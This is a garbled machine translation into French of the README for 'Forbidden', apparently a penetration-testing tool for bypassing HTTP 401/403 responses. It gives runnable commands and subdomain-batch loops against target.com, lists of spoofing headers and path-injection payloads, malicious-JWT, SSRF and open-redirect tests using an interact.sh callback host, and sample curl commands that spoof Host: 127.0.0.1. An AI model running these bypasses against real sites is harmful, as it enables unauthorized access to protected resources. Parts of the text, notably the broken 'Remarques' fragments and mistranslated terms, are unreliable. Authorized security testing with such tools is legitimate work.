Bypass les codes d'état de réponse HTTP 4xx HTTP et plus encore. Basé sur les demandes Pycurl et Python.
Le script utilise le multithreading et est basé sur le forçage brute et, en tant que tel, peut avoir des résultats faux positifs. Le script a une sortie colorée.
Les résultats seront triés par le code d'état de réponse HTTP ascendant, la longueur du contenu de la réponse HTTP descendant et l'ID ascendant.
Pour filtrer manuellement les résultats de faux positifs, pour chaque longueur de contenu de réponse HTTP unique, exécutez la commande curl fournie et vérifiez si la réponse HTTP entraîne un pontage; Sinon, ignorez simplement tous les résultats avec la même longueur de contenu de réponse HTTP.
| Description du test | Test |
|---|---|
| Demandes HTTP et HTTPS sur les deux, nom de domaine et IP. | base |
Méthodes HTTP + W / Content-Length: 0 En-tête de demande HTTP. | méthodes |
| Traçage inter-sites (XST) avec méthodes de trace et de suivi HTTP. | méthodes |
| [Texte] Téléchargement de fichiers avec méthode de put HTTP sur tous les répertoires URL. | méthodes |
| Les remplacements de la méthode HTTP avec des en-têtes de demande HTTP et des paramètres de chaîne de requête URL. | Overrides méthode |
| Les remplacements du schéma d'URL. | dépistage du schéma |
| Port Overrides. | overrides à port |
Divulgation d'informations Accept en-tête de demande HTTP. | têtes |
| En-têtes de demande HTTP. | têtes |
| Override d'URL + W / URL accessible. | têtes |
Override hôte http avec en-têtes de demande HTTP Host double. | têtes |
| En-têtes de demande HTTP avec valeurs fournies par l'utilisateur. | valeurs |
| Contage du chemin d'URL. | chemins |
| Transformations et encodages d'URL. | codages |
| Session de base et porteur + ses session nul et JWT malveillants. | autorités |
| Redirection ouverte, OOB et SSRF. | redirection |
| Analyseurs d'URL cassés, OOB et SSRF. | analyseurs |
Vérifiez le script de test de contrainte ici. Inspiré par cet article.
Étendez les scripts à votre goût.
Bonnes sources d'en-têtes HTTP:
Testé sur Kali Linux V2023.4 (64 bits).
Fait à des fins éducatives. J'espère que cela aidera!
Remarques:
Forbidden est "verrouillé" en PycURL et Stresser est "verrouillé" sur Python Requests ,OSError si un grand nombre de threads sont utilisés en raison de l'ouverture de trop de fichiers de cookies de session à la fois,2xx et 3xx HTTP sont inclus dans les résultats et illustrés dans la sortie,length dans les résultats ne comprend que la longueur du corps de réponse HTTP,double headers est verrouillé sur Python Requests car Pycurl ne le prend pas en charge,encodings de test sont verrouillés sur PycURL car les demandes de Python ne le soutiennent pas,60 secondes,rate limiting et d'autres protections anti-bot similaires, prenez un certain temps avant d'exécuter le script sur le même domaine,encodings ), modifier les demandes HTTP ou supprimer entièrement les demandes HTTP,User-Agent valide ou très spécifique,no longer considéré comme une vulnérabilité.Plans de grande priorité:
User-Agent , le CRLF et le log4j.Plans de faible priorité:
Sur Kali Linux, il ne devrait y avoir aucun problème; Sinon, courez:
apt-get -y install libcurl4-gnutls-dev librtmp-dev
pip3 install --upgrade pycurlSur Windows OS, téléchargez et installez Pycurl depuis www.lfd.uci.edu/~gohlke. Testé uniquement sur Windows 10.
Sur macOS, courez:
brew uninstall curl
brew uninstall openssl
brew install curl
brew install openssl
echo ' export PATH="/opt/homebrew/opt/curl/bin:$PATH" ' >> ~ /.zshrc
echo ' export PATH="/opt/homebrew/opt/openssl@3/bin:$PATH" ' >> ~ /.zshrc
source ~ /.zshrc
export LDFLAGS= " -L/opt/homebrew/opt/curl/lib "
export CPPFLAGS= " -I/opt/homebrew/opt/curl/include "
export PYCURL_SSL_LIBRARY=openssl
pip3 install --no-cache-dir --compile --ignore-installed --config-setting= " --with-openssl= " --config-setting= " --openssl-dir=/opt/homebrew/opt/openssl@3 " pycurlpip3 install --upgrade forbiddengit clone https://github.com/ivan-sincek/forbidden && cd forbidden
python3 -m pip install --upgrade build
python3 -m build
python3 -m pip install dist/forbidden-12.6-py3-none-any.whl Bypass 403 Forbidden :
forbidden -u https://target.com -t base,methods,method-overrides,scheme-overrides,port-overrides,headers,paths-ram,encodings -f GET -l base,path -o forbidden_403_results.json
Contourner le code d'état de réponse HTTP 403 Forbidden HTTP avec test de contrainte:
mkdir stresser_403_results
stresser -u https://target.com -dir stresser_403_results -r 1000 -th 200 -f GET -l base -o stresser_403_results.json Bypass 401 Unauthorized :
forbidden -u https://target.com -t auths -f GET -l base -o forbidden_401_results.json
Tester les redirectes ouverts, OOB et SSRF:
forbidden -u https://target.com -t redirects -f GET -l base -e xyz.interact.sh -o forbidden_redirect_results.json
Tester les analyseurs d'URL cassés, OOB et SSRF:
forbidden -u https://target.com -t parsers -f GET -l base -e xyz.interact.sh -o forbidden_parser_results.json
Bypass 403 Forbidden :
count=0 ; for subdomain in $( cat subdomains_403.txt ) ; do count= $(( count + 1 )) ; echo " # ${count} | ${subdomain} " ; forbidden -u " ${subdomain} " -t base,methods,method-overrides,scheme-overrides,port-overrides,headers,paths,encodings -f GET -l base,path -o " forbidden_403_results_ ${count} .json " ; done Contourner le code d'état de réponse HTTP 403 Forbidden HTTP avec test de contrainte:
mkdir stresser_403_results
count=0 ; for subdomain in $( cat subdomains_403.txt ) ; do count= $(( count + 1 )) ; echo " # ${count} | ${subdomain} " ; stresser -u " ${subdomain} " -dir stresser_403_results -r 1000 -th 200 -f GET -l base -o " stresser_403_results_ ${count} .json " ; done Bypass 401 Unauthorized :
count=0 ; for subdomain in $( cat subdomains_401.txt ) ; do count= $(( count + 1 )) ; echo " # ${count} | ${subdomain} " ; forbidden -u " ${subdomain} " -t auths -f GET -l base -o " forbidden_401_results_ ${count} .json " ; doneTester les redirectes ouverts, OOB et SSRF:
count=0 ; for subdomain in $( cat subdomains_live_long.txt ) ; do count= $(( count + 1 )) ; echo " # ${count} | ${subdomain} " ; forbidden -u " ${subdomain} " -t redirects -f GET -l base -e xyz.interact.sh -o " forbidden_redirect_results_ ${count} .json " ; doneTester les analyseurs d'URL cassés, OOB et SSRF:
count=0 ; for subdomain in $( cat subdomains_live_long.txt ) ; do count= $(( count + 1 )) ; echo " # ${count} | ${subdomain} " ; forbidden -u " ${subdomain} " -t parsers -f GET -l base -e xyz.interact.sh -o " forbidden_parser_results_ ${count} .json " ; done ACL
ARBITRARY
BASELINE-CONTROL
BIND
CHECKIN
CHECKOUT
CONNECT
COPY
GET
HEAD
INDEX
LABEL
LINK
LOCK
MERGE
MKACTIVITY
MKCALENDAR
MKCOL
MKREDIRECTREF
MKWORKSPACE
MOVE
OPTIONS
ORDERPATCH
PATCH
POST
PRI
PROPFIND
PROPPATCH
PUT
REBIND
REPORT
SEARCH
SHOWMETHOD
SPACEJUMP
TEXTSEARCH
TRACE
TRACK
UNBIND
UNCHECKOUT
UNLINK
UNLOCK
UPDATE
UPDATEREDIRECTREF
VERSION-CONTROL
Méthode Overrides:
X-HTTP-Method
X-HTTP-Method-Override
X-Method-Override
Remplacements du schéma:
X-Forwarded-Proto
X-Forwarded-Protocol
X-Forwarded-Scheme
X-Scheme
X-URL-Scheme
Remplacement du port:
X-Forwarded-Port
Autre:
19-Profile
Base-URL
CF-Connecting-IP
Client-IP
Cluster-Client-IP
Destination
Forwarded
Forwarded-For
Forwarded-For-IP
From
Host
Incap-Client-IP
Origin
Profile
Proxy
Redirect
Referer
Remote-Addr
Request-URI
True-Client-IP
URI
URL
WAP-Profile
X-Client-IP
X-Cluster-Client-IP
X-Custom-IP-Authorization
X-Forwarded
X-Forwarded-By
X-Forwarded-For
X-Forwarded-For-Original
X-Forwarded-Host
X-Forwarded-Path
X-Forwarded-Server
X-HTTP-DestinationURL
X-HTTP-Host-Override
X-Host
X-Host-Override
X-Original-Forwarded-For
X-Original-Remote-Addr
X-Original-URL
X-Originally-Forwarded-For
X-Originating-IP
X-Override-URL
X-Proxy-Host
X-Proxy-URL
X-ProxyUser-IP
X-Real-IP
X-Referer
X-Remote-Addr
X-Remote-IP
X-Requested-With
X-Rewrite-URL
X-Server-IP
X-True-Client-IP
X-True-IP
X-Wap-Profile
Injectez au début, à la fin et aux deux, début et fin du chemin d'URL.
Testez en utilisant chaque combinaison possible de l'ensemble de charge utile (par défaut - bombe en grappe) ou placez la même charge utile dans toutes les positions de charge utile définies simultanément (RAM de battement).
/
//
%09
%20
%23
%2e
%a0
*
.
..
;
.;
..;
/;/
;/../../
;foo=bar;
Injecter à la fin du chemin d'URL.
#
##
##random
*
**
**random
.
..
..random
?
??
??random
~
~~
~~random
Injectez à la fin du chemin d'URL uniquement s'il ne se termine pas avec une barre oblique vers l'avant.
.asp
.aspx
.esp
.html
.jhtml
.json
.jsp
.jspa
.jspx
.php
.sht
.shtml
.xhtml
.xml
[
{
"id" : " 860-HEADERS-3 " ,
"url" : " https://example.com:443/admin " ,
"method" : " GET " ,
"headers" : [
" Host: 127.0.0.1 "
],
"cookies" : [],
"body" : null ,
"user_agent" : " Forbidden/12.6 " ,
"command" : " curl --connect-timeout 60 -m 60 -iskL --max-redirs 10 --path-as-is -A 'Forbidden/12.6' -H 'Host: 127.0.0.1' -X 'GET' 'https://example.com:443/admin' " ,
"code" : 200 ,
"length" : 255408
},
{
"id" : " 861-HEADERS-3 " ,
"url" : " https://example.com:443/admin " ,
"method" : " GET " ,
"headers" : [
" Host: 127.0.0.1:443 "
],
"cookies" : [],
"body" : null ,
"user_agent" : " Forbidden/12.6 " ,
"command" : " curl --connect-timeout 60 -m 60 -iskL --max-redirs 10 --path-as-is -A 'Forbidden/12.6' -H 'Host: 127.0.0.1:443' -X 'GET' 'https://example.com:443/admin' " ,
"code" : 200 ,
"length" : 255408
}
] Forbidden v12.6 ( github.com/ivan-sincek/forbidden )
Usage: forbidden -u url -t tests [-f force] [-v values ] [-p path ] [-o out ]
Example: forbidden -u https://example.com/admin -t all [-f POST ] [-v values.txt] [-p /home] [-o results.json]
DESCRIPTION
Bypass 4xx HTTP response status codes and more
URL
Inaccessible URL
-u, --url = https://example.com/admin | etc.
IGNORE QUERY STRING AND FRAGMENT
Ignore URL query string and fragment
-iqsf, --ignore-query-string-and-fragment
IGNORE CURL
Use Python Requests instead of the default PycURL where applicable
PycURL might throw OSError if large number of threads is used due to opening too many session cookie files at once
-ic, --ignore-curl
TESTS
Tests to run
Use comma-separated values
Specify 'paths-ram' to use battering ram attack or 'paths' to use the default cluster bomb attack
Specify 'values' to test HTTP request headers with user-supplied values passed using the '-v' option
-t, --tests = base | methods | (method|scheme|port)-overrides | headers | values | paths[-ram] | encodings | auths | redirects | parsers | all
FORCE
Force an HTTP method for all non-specific test cases
-f, --force = GET | POST | CUSTOM | etc.
VALUES
File with additional HTTP request header values or a single value, e.g., internal IP, etc.
Tests: values
-v, --values = values.txt | 10.10.15.20 | etc.
PATH
Accessible URL path to test URL overrides
Tests: headers
Default: /robots.txt | /index.html | /sitemap.xml | /README.txt
-p, --path = /home | etc.
EVIL
Evil URL to test URL overrides
Tests: headers | redirects
Default: https://github.com
-e, --evil = https://xyz.interact.sh | https://xyz.burpcollaborator.net | etc.
HEADER
Specify any number of extra HTTP request headers
Extra HTTP request headers will not override test's HTTP request headers
Semi-colon in, e.g., 'Content-Type;' will expand to an empty HTTP request header
-H, --header = "Authorization: Bearer ey..." | Content-Type; | etc.
COOKIE
Specify any number of extra HTTP cookies
Extra HTTP cookies will not override test's HTTTP cookies
-b, --cookie = PHPSESSIONID=3301 | etc.
IGNORE
Filter out 200 OK false positive results with RegEx
Spacing will be stripped
-i, --ignore = Inaccessible | "Access Denied" | etc.
CONTENT LENGTHS
Filter out 200 OK false positive results by HTTP response content lengths
Specify 'base' to ignore content length of the base HTTP response
Specify 'path' to ignore content length of the accessible URL response
Use comma-separated values
-l, --content-lengths = 12 | base | path | etc.
REQUEST TIMEOUT
Request timeout
Default: 60
-rt, --request-timeout = 30 | etc.
THREADS
Number of parallel threads to run
More threads mean more requests sent in parallel, but may also result in more false positives
Highly dependent on internet connection speed and server capacity
Default: 5
-th, --threads = 20 | etc.
SLEEP
Sleep time in milliseconds before sending an HTTP request
Intended for a single-thread use
-s, --sleep = 500 | etc.
USER AGENT
User agent to use
Default: Forbidden/12.6
-a, --user-agent = curl/3.30.1 | random[-all] | etc.
PROXY
Web proxy to use
-x, --proxy = http://127.0.0.1:8080 | etc.
HTTP RESPONSE STATUS CODES
Include only specific HTTP response status codes in the results
Use comma-separated values
Default: 2xx | 3xx
-sc, --status-codes = 1xx | 2xx | 3xx | 4xx | 5xx | all
SHOW TABLE
Display the results in a table instead of JSON
Intended for a wide screen use
-st, --show-table
OUT
Output file
-o, --out = results.json | etc.
DUMP
Dump all the test records in the output file without running them
-dmp, --dump
DEBUG
Debug output
-dbg, --debug
Stresser v12.6 ( github.com/ivan-sincek/forbidden )
Usage: stresser -u url -dir directory -r repeat -th threads [-f force] [-o out ]
Example: stresser -u https://example.com/secret -dir results -r 1000 -th 200 [-f GET ] [-o results.json]
DESCRIPTION
Bypass 4xx HTTP response status codes with stress testing
URL
Inaccessible URL
-u, --url = https://example.com/admin | etc.
IGNORE QUERY STRING AND FRAGMENT
Ignore URL query string and fragment
-iqsf, --ignore-query-string-and-fragment
IGNORE PYTHON REQUESTS
Use PycURL instead of the default Python Requests where applicable
PycURL might throw OSError if large number of threads is used due to opening too many session cookie files at once
-ir, --ignore-requests
FORCE
Force an HTTP method for all non-specific test cases
-f, --force = GET | POST | CUSTOM | etc.
HEADER
Specify any number of extra HTTP request headers
Extra HTTP request headers will not override test's HTTP request headers
Semi-colon in, e.g., 'Content-Type;' will expand to an empty HTTP request header
-H, --header = "Authorization: Bearer ey..." | Content-Type; | etc.
COOKIE
Specify any number of extra HTTP cookies
Extra HTTP cookies will not override test's HTTTP cookies
-b, --cookie = PHPSESSIONID=3301 | etc.
IGNORE
Filter out 200 OK false positive results with RegEx
Spacing will be stripped
-i, --ignore = Inaccessible | "Access Denied" | etc.
CONTENT LENGTHS
Filter out 200 OK false positive results by HTTP response content lengths
Specify 'base' to ignore content length of the base HTTP response
Use comma-separated values
-l, --content-lengths = 12 | base | etc.
REQUEST TIMEOUT
Request timeout
Default: 60
-rt, --request-timeout = 30 | etc.
REPEAT
Number of total HTTP requests to send for each test case
-r, --repeat = 1000 | etc.
THREADS
Number of parallel threads to run
-th, --threads = 20 | etc.
USER AGENT
User agent to use
Default: Stresser/12.6
-a, --user-agent = curl/3.30.1 | random[-all] | etc.
PROXY
Web proxy to use
-x, --proxy = http://127.0.0.1:8080 | etc.
HTTP RESPONSE STATUS CODES
Include only specific HTTP response status codes in the results
Use comma-separated values
Default: 2xx | 3xx
-sc, --status-codes = 1xx | 2xx | 3xx | 4xx | 5xx | all
SHOW TABLE
Display the results in a table instead of JSON
Intended for a wide screen use
-st, --show-table
OUT
Output file
-o, --out = results.json | etc.
DIRECTORY
Output directory
All valid and unique HTTP responses will be saved in this directory
-dir, --directory = results | etc.
DUMP
Dump all the test records in the output file without running them
-dmp, --dump
DEBUG
Debug output
-dbg, --debug

Figure 1 - Exemple de base

Figure 2 - Exemple de base (sortie du tableau)

Figure 3 - Dumping des enregistrements de test